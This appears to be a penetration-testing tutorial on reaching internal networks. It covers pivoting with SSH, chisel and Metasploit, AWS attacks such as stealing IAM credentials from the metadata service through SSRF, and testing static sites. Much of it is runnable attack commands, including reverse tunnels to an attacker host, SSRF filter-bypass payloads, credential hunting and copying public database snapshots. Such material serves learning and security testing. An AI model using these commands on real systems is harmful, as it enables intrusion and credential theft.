Skip to content

Internal Networks, Cloud Security & Attack Surface - Complete Guide

Table of Contents

  1. Internal Networks and VPN Misconceptions
  2. Real-World Attack Paths
  3. The Internal Network Goal
  4. Cloud vs Traditional Hosting
  5. Testing Static Sites on Major Platforms

Internal Networks and VPN Misconceptions

The HTB vs Reality Gap

HTB Scenario: - You're given the internal IP (e.g., 10.10.11.132) - VPN config drops you inside the network - Target is immediately accessible

Real World: - Internal IPs are NOT accessible from internet - You must find a way IN first - No one hands you network access

Finding & Attacking Internal Networks

Entry Methods

1. Compromise Edge Device 

# Attack VPN server itself
nmap -p 443,1194,4500 company-ranges
searchsploit "pulse secure"
searchsploit "fortinet"

# Common VPN endpoints to look for
vpn.company.com
remote.company.com
ssl.company.com
gateway.company.com

2. Pivot Through Compromised Host 

Internet → Webserver (public IP) → Internal network

Get shell on public server, use it as jump point: 

# From compromised public server
ip route show          # See what networks it can reach
arp -a                # Discover local network hosts
netstat -rn           # Check routing table

# Scan internal ranges
nmap 10.0.0.0/8
nmap 172.16.0.0/12
nmap 192.168.0.0/16

3. Physical Access - Walk into office, plug into ethernet - Rogue WiFi access point - Social engineering (tailgating)

4. Supply Chain - Compromise vendor with network access - Third-party remote support tools - Managed service provider credentials

Discovery Process

External Recon (Before You're Inside): 

# Find VPN endpoints
shodan search "org:CompanyName ssl"
shodan search "Fortinet" "company"
shodan search "Pulse Secure"

# DNS enumeration
subfinder -d company.com
amass enum -d company.com
dnsenum company.com

# SSL certificate inspection (reveals internal names)
curl -vI https://company.com 2>&1 | grep -i "subject:"
openssl s_client -connect company.com:443 -showcerts

Post-Compromise Recon (After Initial Foothold): 

# Network discovery from compromised host
ip route show          # Network ranges
ip addr show          # Network interfaces
arp -a                # ARP cache (who's talking?)
netstat -rn           # Routing table
cat /etc/hosts        # Host mappings
cat /etc/resolv.conf  # DNS servers

# Active scanning
for i in {1..254}; do ping -c 1 192.168.1.$i & done
nmap -sn 10.10.0.0/16  # Ping sweep
nmap -p- 10.10.1.0/24  # Full port scan

# Service enumeration
nmap -sV -sC 10.10.1.100  # Version detection + scripts

The Typical Attack Flow

1. External enumeration → Find weak point
2. Initial compromise    → Low-priv shell on edge system
3. Privilege escalation  → Get admin/root
4. Network reconnaissance → Map internal network
5. Lateral movement      → Attack internal targets
6. Exfiltration/Objective

Pivoting Techniques

SSH Tunneling: 

# Dynamic SOCKS proxy
ssh -D 8080 user@compromised-host

# Use with proxychains
echo "socks5 127.0.0.1 8080" >> /etc/proxychains.conf
proxychains nmap 10.10.1.0/24
proxychains firefox  # Browse internal sites

# Local port forwarding (access specific service)
ssh -L 8080:internal-server:80 user@compromised-host
# Now localhost:8080 → internal-server:80

# Remote port forwarding (reverse tunnel)
ssh -R 8080:localhost:80 user@your-vps
# Compromised host can't reach you directly, so reverse it

Metasploit Autoroute: 

# After getting meterpreter session
run autoroute -s 10.10.1.0/24  # Add route through session
run autoroute -p               # Print routing table

# Now you can scan through the session
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.1.0/24
set SESSION 1
run

Chisel (HTTP tunnel): 

# On your attacker machine
./chisel server -p 8000 --reverse

# On compromised host
./chisel client your-ip:8000 R:socks
# Creates reverse SOCKS proxy on your machine

Real-World Attack Paths

Scenario Clarification: alexsusanu.com Example

Common Misunderstanding

WRONG: "The VPN is attached to alexsusanu.com, so I attack the VPN first"

RIGHT: VPN is separate infrastructure. You need ANY way into the internal network.

Real-World Setups

Setup 1: Separate VPN Infrastructure 

alexsusanu.com          → 203.0.113.10 (public webserver)
vpn.alexsusanu.com      → 203.0.113.50 (VPN endpoint)
admin.alexsusanu.com    → 10.10.1.100  (internal only)

Attack path: 1. Find VPN endpoint 2. Compromise VPN (exploit or stolen creds) 3. Access admin.alexsusanu.com

Setup 2: No Direct VPN Route (Most Common) 

alexsusanu.com          → 203.0.113.10 (public web + DB)
admin.alexsusanu.com    → 10.10.1.100  (internal)

Attack path: 1. Exploit alexsusanu.com (SQLi, RCE, etc.) 2. Get shell on server 3. Server can reach internal network (dual-homed) 4. Pivot through compromised server to admin panel

Setup 3: Split DNS 

# External DNS (public internet)
alexsusanu.com → 203.0.113.10

# Internal DNS (only works from inside network)
admin.alexsusanu.com → 10.10.1.100
alexsusanu.com → 10.10.1.5 (internal version)

Practical Attack Example

# 1. Recon public site
nmap -sV -sC alexsusanu.com
nikto -h https://alexsusanu.com
gobuster dir -u https://alexsusanu.com -w /usr/share/wordlists/dirb/common.txt

# 2. Find SQLi vulnerability
sqlmap -u "https://alexsusanu.com/product?id=1" --batch --dbs

# 3. Escalate to RCE
sqlmap -u "https://alexsusanu.com/product?id=1" --os-shell

# 4. Check network interfaces from shell
ip addr show
# eth0: 203.0.113.10 (public)
# eth1: 10.10.1.50 (internal)

# 5. Scan internal network
nmap 10.10.1.0/24

# 6. Access internal admin panel
curl http://admin.alexsusanu.com
# Works! Server can reach it

# 7. Set up pivot for your machine
ssh -D 8080 user@alexsusanu.com
# OR use reverse shell + chisel

# 8. Access through pivot
proxychains firefox
# Browse to http://admin.alexsusanu.com

The Internal Network Goal

Key Realization

You don't care about VPN specifically.

You care about: Getting access to the internal network.

VPN is just ONE METHOD. Others: - Compromise public-facing server (most common) - Stolen credentials - Exposed services - Client-side attacks - Physical access

Why Public Server Compromise Works

When you exploit alexsusanu.com, the server typically has multiple network interfaces:

ip addr show

# Output example:
1: lo: ...
2: eth0: inet 203.0.113.10/24  # Public internet
3: eth1: inet 10.10.1.50/24    # Internal network

# Routing table
ip route show
default via 203.0.113.1 dev eth0
10.10.0.0/16 dev eth1  # Can reach internal network

The server IS your bridge - it sits in both networks (DMZ or dual-homed).

The Real Question

Not: "Where's the VPN?"

"What can I compromise that has access to the internal network?"

Targets: - Web server - Mail server - API endpoint - Employee laptop (phishing) - VoIP phone - Printer (yes, really) - IoT devices - Jump boxes - Anything dual-homed

Practical Pivot Setup

# You exploited alexsusanu.com, have shell

# Check connectivity
ping -c 1 10.10.1.100  # admin server
curl http://admin.alexsusanu.com  # Works!

# Option 1: SSH Dynamic Port Forwarding
ssh -D 8080 compromised@alexsusanu.com

# On your machine
proxychains4 -f /etc/proxychains4.conf nmap 10.10.1.0/24
proxychains4 firefox
# Access http://admin.alexsusanu.com through browser

# Option 2: Metasploit pivot
meterpreter > run autoroute -s 10.10.1.0/24

# Option 3: Chisel reverse tunnel
# Your machine
./chisel server -p 9000 --reverse

# Compromised server
./chisel client YOUR_IP:9000 R:socks

# Option 4: Port forwarding specific service
ssh -L 8080:10.10.1.100:80 user@alexsusanu.com
# localhost:8080 now reaches internal admin panel

Cloud vs Traditional Hosting

Static Site on S3/GitHub Pages

What You CAN'T Do

alexsusanu.com on S3/GitHub Pages:
├─> No server to compromise
├─> No shell to get
├─> No internal network connection
└─> Just static files served by CDN

No pivot point if it's ONLY static files.

But Real Infrastructure Is Never Just One Thing

Frontend: alexsusanu.com (S3 static)
   │
   ├─> API: api.alexsusanu.com (Lambda/EC2)
   │     │
   │     └─> Database: RDS (private subnet)
   │
   └─> Admin: admin.alexsusanu.com (EC2 private subnet)

NOW you have attack surface.

AWS/Cloud-Specific Attacks

1. Misconfigured S3 Buckets

# Check public access (no credentials needed)
aws s3 ls s3://alexsusanu-bucket --no-sign-request
aws s3 ls s3://company-backups --no-sign-request

# Common naming patterns to try
aws s3 ls s3://company --no-sign-request
aws s3 ls s3://company-prod --no-sign-request
aws s3 ls s3://company-backup --no-sign-request
aws s3 ls s3://www-company --no-sign-request

# Download everything if readable
aws s3 sync s3://company-backups . --no-sign-request

# Upload malicious file if writable
echo "<script>alert('XSS')</script>" > xss.html
aws s3 cp xss.html s3://company-bucket/xss.html --no-sign-request

# Check bucket policy
aws s3api get-bucket-policy --bucket company-bucket --no-sign-request

Tools: 

# S3 enumeration
s3scanner scan --buckets-file wordlist.txt

# Cloud enumeration
cloud_enum -k company

2. EC2 Metadata Service Exploitation

If you get SSRF or RCE on EC2 instance:

# Steal IAM credentials from metadata service
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get role name
ROLE=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# Returns JSON with:
# - AccessKeyId
# - SecretAccessKey  
# - Token

# Export to environment
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Now use AWS CLI with stolen creds
aws sts get-caller-identity  # Who am I?
aws s3 ls                    # List buckets
aws ec2 describe-instances   # List instances
aws rds describe-db-instances # List databases
aws iam list-roles           # List roles
aws secretsmanager list-secrets  # Secrets!

SSRF to metadata: 

# If you find SSRF vulnerability
# Target URL parameter: url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Bypass filters
http://169.254.169.254/latest/meta-data/  # Direct
http://[::ffff:169.254.169.254]/          # IPv6
http://169.254.169.254.nip.io/            # DNS trick
http://169.0254.169.0254/                 # Decimal encoding

3. Lambda Function Exploitation

# If you compromise Lambda function
# Check environment variables (often contain secrets)
env

# Lambda has IAM role attached
# Steal credentials same way as EC2 metadata

# Use credentials to escalate
aws lambda list-functions
aws lambda get-function --function-name admin-panel
# Download function code

aws lambda invoke --function-name process-payment \
  --payload '{"amount": 0.01}' output.txt

4. Public RDS Snapshots

# Search for public snapshots
aws rds describe-db-snapshots --include-public \
  --query "DBSnapshots[?PubliclyAccessible=='true']"

# Restore to your own account
aws rds restore-db-instance-from-db-snapshot \
  --db-instance-identifier stolen-db \
  --db-snapshot-identifier arn:aws:rds:...

# Wait for it to come online, then connect
mysql -h stolen-db.xyz.us-east-1.rds.amazonaws.com -u admin -p

Attack Surface Differences

Traditional Hosting (VPS/Dedicated)

Attack Flow:
Internet → Exploit app → Shell on server → Network pivot → Internal resources

Example: 

# Exploit webapp
python exploit.py http://target.com

# Get reverse shell
nc -lvnp 4444

# Enumerate from shell
whoami
ip addr
netstat -tulpn
ps aux

# Pivot to internal network
ssh -D 8080 localhost
proxychains nmap 10.10.0.0/16

Cloud Hosting (AWS/Azure/GCP)

Attack Flow:
Internet → Exploit app → Steal IAM/cloud creds → Cloud API access → Internal resources

Example: 

# Exploit webapp with SSRF
curl "http://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role"

# Get temporary credentials
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Use cloud API to access internal resources
aws ec2 describe-instances | jq '.Reservations[].Instances[] | {IP: .PrivateIpAddress, Name: .Tags[]?}'
aws rds describe-db-instances | jq '.DBInstances[] | {Endpoint: .Endpoint.Address}'
aws s3 ls
aws secretsmanager get-secret-value --secret-id prod/db/password

No network pivot needed - you're using their own cloud API.

Real-World AWS Attack Chain

1. Find SSRF in web app running on EC2
   ↓
2. Use SSRF to hit metadata service
   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/webserver-role
   ↓
3. Steal temporary AWS credentials (AccessKey, SecretKey, SessionToken)
   ↓
4. Configure AWS CLI with stolen creds
   export AWS_ACCESS_KEY_ID=ASIA...
   export AWS_SECRET_ACCESS_KEY=...
   export AWS_SESSION_TOKEN=...
   ↓
5. Enumerate with AWS CLI
   aws s3 ls                          # Find buckets
   aws ec2 describe-instances         # Find servers
   aws rds describe-db-instances      # Find databases
   aws iam get-role --role-name webserver-role  # Check permissions
   ↓
6. Overly permissive IAM role lets you:
   - Download source code from S3
   - Read database credentials from Secrets Manager
   - Snapshot RDS databases
   - Spin up instances in private subnets
   - Access other services
   ↓
7. Lateral movement via cloud services
   aws ec2 run-instances --subnet-id subnet-private ...  # Deploy in internal network
   aws rds create-db-snapshot --db-instance-identifier prod-db  # Copy database
   aws secretsmanager get-secret-value --secret-id admin-password

Common Cloud Misconfigurations

S3 Buckets: 

# Public read
{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "s3:GetObject",
  "Resource": "arn:aws:s3:::bucket/*"
}

# Public write (worse)
{
  "Effect": "Allow",
  "Principal": "*",
  "Action": "s3:*",
  "Resource": "arn:aws:s3:::bucket/*"
}

IAM Roles: 

// Overly permissive
{
  "Effect": "Allow",
  "Action": "*",
  "Resource": "*"
}

// Still bad
{
  "Effect": "Allow",
  "Action": "s3:*",
  "Resource": "*"
}

EC2 Security Groups: 

# Open to world
0.0.0.0/0 → 22/tcp (SSH)
0.0.0.0/0 → 3389/tcp (RDP)
0.0.0.0/0 → 3306/tcp (MySQL)

RDS: 

# Publicly accessible
aws rds describe-db-instances | jq '.DBInstances[] | select(.PubliclyAccessible==true)'

Cloud Enumeration Tools

# S3 bucket discovery
s3scanner scan --buckets-file wordlist.txt
cloud_enum -k company

# AWS enumeration (with creds)
prowler  # Security audit
ScoutSuite --provider aws

# Enumerate from compromised instance
aws ec2 describe-instances
aws s3 ls
aws iam get-user
aws sts get-caller-identity
aws secretsmanager list-secrets
aws lambda list-functions
aws rds describe-db-instances
aws dynamodb list-tables

Testing Static Sites on Major Platforms

Critical Distinction

YOUR attack surface ≠ Platform's infrastructure

You test YOUR code/config, not GitHub/AWS/Cloudflare.

What You Actually Test

1. Your Application Code

JavaScript Vulnerabilities: 

// DOM-based XSS
let userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
// Exploit: https://site.com#<img src=x onerror=alert(document.cookie)>

// Exposed API keys
const API_KEY = 'sk-proj-abc123def456...';  // Hardcoded - BAD
fetch(`https://api.service.com/data?key=${API_KEY}`);

// Insecure storage
localStorage.setItem('authToken', token);  // Vulnerable to XSS
// Better: httpOnly cookie

// Open redirect
window.location = params.get('redirect');  // No validation
// Exploit: ?redirect=https://evil.com

// Prototype pollution
let obj = {};
obj[userInput] = value;  // Can pollute Object.prototype

Testing: 

# Download site
wget -r -l 2 https://alexsusanu.com

# Extract all JavaScript
grep -r "<script" . | grep -oP 'src="\K[^"]+' > js-files.txt
while read url; do wget "$url"; done < js-files.txt

# Search for secrets
grep -r "api_key\|apikey\|secret\|password\|token" .
grep -r "AKIA" .  # AWS keys
grep -r "sk_live\|pk_live" .  # Stripe keys

# Check for vulnerable patterns
grep -r "innerHTML\|eval\|document.write" *.js
grep -r "localStorage.setItem.*token" *.js

# Library vulnerabilities
retire --js --jspath /path/to/site
npm audit  # If you have package.json

2. Your APIs/Backend

Your API is the real attack surface:

# Discover API endpoints from frontend
grep -r "fetch\|axios\|XMLHttpRequest" *.js | grep -oP 'https?://[^"]+' | sort -u

# Common API patterns
https://api.alexsusanu.com/v1/users
https://api.alexsusanu.com/graphql
https://alexsusanu.com/api/

# Test discovered APIs
nuclei -u https://api.alexsusanu.com
ffuf -u https://api.alexsusanu.com/v1/FUZZ -w api-wordlist.txt

# Check authentication
curl https://api.alexsusanu.com/admin/users
curl -H "Authorization: Bearer invalid" https://api.alexsusanu.com/user/data

# CORS misconfiguration
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: POST" \
     -I https://api.alexsusanu.com/admin/delete
# If returns: Access-Control-Allow-Origin: https://evil.com
# You can make requests from your domain

3. Your Domain Configuration

Subdomain Takeover: 

# Find subdomains
subfinder -d alexsusanu.com -o subs.txt
amass enum -d alexsusanu.com

# Check DNS
while read sub; do dig $sub; done < subs.txt

# Look for dangling CNAMEs
admin.alexsusanu.com CNAME old-app.herokuapp.com  # Deleted?
blog.alexsusanu.com CNAME myblog.wordpress.com    # Unclaimed?

# Takeover tools
subzy -targets subs.txt
subjack -w subs.txt -t 100 -timeout 30 -o results.txt

DNS Security: 

# Check SPF/DMARC (email spoofing)
dig alexsusanu.com TXT | grep spf
dig _dmarc.alexsusanu.com TXT

# Missing SPF = anyone can spoof email from your domain
# Weak SPF: "v=spf1 +all"  # Allows anyone

# Check DNSSEC
dig alexsusanu.com +dnssec

# Zone transfer (shouldn't work but sometimes does)
dig axfr @ns1.alexsusanu.com alexsusanu.com

4. Your Dependencies

Third-Party Scripts: 

<!-- You included these - YOUR responsibility -->
<script src="https://cdn.jquery.com/jquery-1.8.0.js"></script>  <!-- Old version! -->
<script src="https://unpkg.com/vulnerable-lib"></script>         <!-- Unknown version -->
<script src="https://sketchy-analytics.com/track.js"></script>  <!-- Malicious? -->

Testing: 

# Check loaded scripts in browser
# DevTools → Network → Filter: JS

# Check versions
curl https://cdn.jquery.com/jquery-1.8.0.js | head -5
# jQuery JavaScript Library v1.8.0  ← Search CVE database

# Subresource Integrity (SRI) check
grep -r "integrity=" index.html
# Should see: <script src="..." integrity="sha384-..." crossorigin="anonymous">

# CSP headers
curl -I https://alexsusanu.com | grep -i content-security-policy
# Missing = No XSS protection

5. Your Cloud Resources

If using AWS/GCP/Azure:

# S3 bucket naming patterns
# Usually: company-name, company-assets, company-backups, www-company
aws s3 ls s3://alexsusanu --no-sign-request
aws s3 ls s3://alexsusanu-backups --no-sign-request
aws s3 ls s3://alexsusanu-uploads --no-sign-request

# CloudFront distributions
# Check response headers for hints
curl -I https://alexsusanu.com
# X-Amz-Cf-Id: ... ← CloudFront
# Server: AmazonS3 ← Direct S3

# Certificate Transparency logs (find subdomains/infrastructure)
curl "https://crt.sh/?q=%.alexsusanu.com&output=json" | jq '.[].name_value' | sort -u

6. Your GitHub Repository

Source Code Exposure: 

# Is your repo public?
git clone https://github.com/yourusername/alexsusanu-site

# Search commit history for secrets
git log -p | grep -i "password\|api_key\|secret"
git log -p | grep "AKIA"  # AWS keys
git log -S "password" --all  # Search all branches

# Tools
trufflehog git https://github.com/yourusername/alexsusanu-site
gitleaks detect --source .

# Check .git directory exposure on live site
curl https://alexsusanu.com/.git/config
curl https://alexsusanu.com/.git/HEAD

# GitHub Actions secrets leakage
# Check workflow logs for accidental echo of secrets

What NOT to Test (Waste of Time)

Don't bother testing: - GitHub Pages infrastructure - AWS CloudFront CDN - Cloudflare edge servers - Google Cloud Platform infrastructure

Why: - Massive security teams - Bug bounty programs - Patched faster than you can find issues - You'll never get in

If you DO find something: - GitHub: https://bounty.github.com/ - AWS: https://aws.amazon.com/security/vulnerability-reporting/ - Google: https://bughunters.google.com/ - Cloudflare: https://hackerone.com/cloudflare

Practical Testing Workflow

# 1. Map YOUR infrastructure
subfinder -d alexsusanu.com -o subs.txt
httpx -l subs.txt -title -status-code -tech-detect

# Separate what's yours vs platform:
# alexsusanu.com → GitHub Pages (not yours)
# api.alexsusanu.com → Your EC2 (YOURS)
# admin.alexsusanu.com → Your server (YOURS)

# 2. Download and analyze static site
wget -r -l 2 https://alexsusanu.com
grep -r "api\|fetch\|axios" . > api-calls.txt
grep -r "password\|secret\|key" . > potential-secrets.txt

# 3. JavaScript analysis
retire --js --jspath alexsusanu.com/
# Check each JS file:
# - Hardcoded credentials
# - API endpoints
# - Vulnerable functions (innerHTML, eval)
# - Library versions

# 4. API enumeration (THE MAIN TARGET)
# Extract API URLs from JS
grep -roh "https://api\.alexsusanu\.com[^\"']*" . | sort -u > api-endpoints.txt

# Test each endpoint
while read endpoint; do
  echo "Testing: $endpoint"
  curl -v "$endpoint"
  curl -v -X POST "$endpoint"
  curl -v -H "Authorization: Bearer fake" "$endpoint"
done < api-endpoints.txt

# 5. DNS/subdomain security
dig alexsusanu.com ANY
dig _dmarc.alexsusanu.com TXT
subzy -targets subs.txt  # Takeover check

# 6. Cloud resource hunting
aws s3 ls s3://alexsusanu --no-sign-request
aws s3 ls s3://alexsusanu-prod --no-sign-request
aws s3 ls s3://alexsusanu-backups --no-sign-request

# 7. GitHub security
git clone https://github.com/user/alexsusanu-site
trufflehog git https://github.com/user/alexsusanu-site
gitleaks detect --source alexsusanu-site/

# 8. Configuration issues
# Check CSP
curl -I https://alexsusanu.com | grep -i content-security-policy

# Check CORS on YOUR API
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: DELETE" \
     -I https://api.alexsusanu.com/admin/users

# Check security headers
curl -I https://api.alexsusanu.com | grep -i "x-frame-options\|x-content-type-options\|strict-transport"

Attack Surface Summary

Static Site (GitHub Pages): 

✗ Can't exploit platform infrastructure
✓ Client-side vulnerabilities in YOUR JavaScript
✓ Exposed secrets in YOUR code
✓ Vulnerable dependencies YOU included
✓ YOUR API endpoints
✓ YOUR cloud resources
✓ YOUR domain configuration

Your APIs/Backend: 

✓ Authentication bypass
✓ Authorization flaws
✓ SQL injection
✓ SSRF
✓ RCE
✓ Business logic flaws
✓ Rate limiting issues
✓ CORS misconfigurations

Your Cloud Resources: 

✓ Public S3 buckets
✓ Exposed metadata services
✓ Overly permissive IAM roles
✓ Public RDS snapshots
✓ Secrets in environment variables
✓ Insecure security groups

Command Reference

Reconnaissance

# Subdomain enumeration
subfinder -d target.com -o subs.txt
amass enum -d target.com -o amass-subs.txt
assetfinder target.com

# Active probing
httpx -l subs.txt -title -status-code -tech-detect -o live-subs.txt
nmap -iL live-subs.txt -p 80,443,8080,8443

# DNS
dig target.com ANY
dig _dmarc.target.com TXT
dnsenum target.com

# Certificate transparency
curl "https://crt.sh/?q=%.target.com&output=json" | jq

# Web fingerprinting
whatweb target.com
wappalyzer target.com

Vulnerability Scanning

# General web scanning
nuclei -u https://target.com -severity critical,high
nikto -h target.com

# Directory bruteforce
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://target.com/FUZZ -w wordlist.txt -fc 404

# Parameter fuzzing
ffuf -u https://target.com/api?FUZZ=test -w params.txt -mc 200

# SQLi
sqlmap -u "https://target.com/page?id=1" --batch --dbs

Cloud Enumeration

# S3
aws s3 ls s3://bucket-name --no-sign-request
s3scanner scan --buckets-file wordlist.txt

# AWS with stolen creds
aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws iam list-users
aws secretsmanager list-secrets

# Metadata service (from compromised EC2/SSRF)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Pivoting

# SSH tunnels
ssh -D 8080 user@pivot-host  # SOCKS proxy
ssh -L 8080:internal-host:80 user@pivot-host  # Local forward
ssh -R 8080:localhost:80 user@your-vps  # Remote forward

# Chisel
./chisel server -p 8000 --reverse  # Your machine
./chisel client your-ip:8000 R:socks  # Compromised host

# Proxychains
echo "socks5 127.0.0.1 8080" >> /etc/proxychains.conf
proxychains nmap 10.10.1.0/24
proxychains firefox

# Metasploit
run autoroute -s 10.10.1.0/24

Post-Exploitation

# Network discovery
ip addr show
ip route show
arp -a
netstat -tulpn
cat /etc/hosts
cat /etc/resolv.conf

# Find credentials
grep -r "password" /var/www/
find / -name "*.conf" -exec grep -i "password" {} + 2>/dev/null
cat ~/.bash_history

# AWS creds from EC2
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
env | grep AWS

# Escalation
sudo -l
find / -perm -4000 2>/dev/null  # SUID binaries
getcap -r / 2>/dev/null  # Capabilities

Key Takeaways

  1. Internal networks aren't accessed via VPN by default - VPN is one entry method among many

  2. Most common entry: Compromise public-facing server - It's dual-homed and becomes your pivot point

  3. Cloud changes the game - Steal IAM credentials, use cloud API instead of network pivoting

  4. Static sites on major platforms - Test YOUR code/config/APIs, not the platform infrastructure

  5. The real question - "How do I get access to the internal network?" not "Where's the VPN?"

  6. Modern attacks - Chain multiple vulnerabilities: SSRF → Metadata → IAM creds → Cloud API → Internal resources

  7. Focus matters - Attack YOUR infrastructure, not GitHub/AWS/Google's. They're too hardened and have security teams.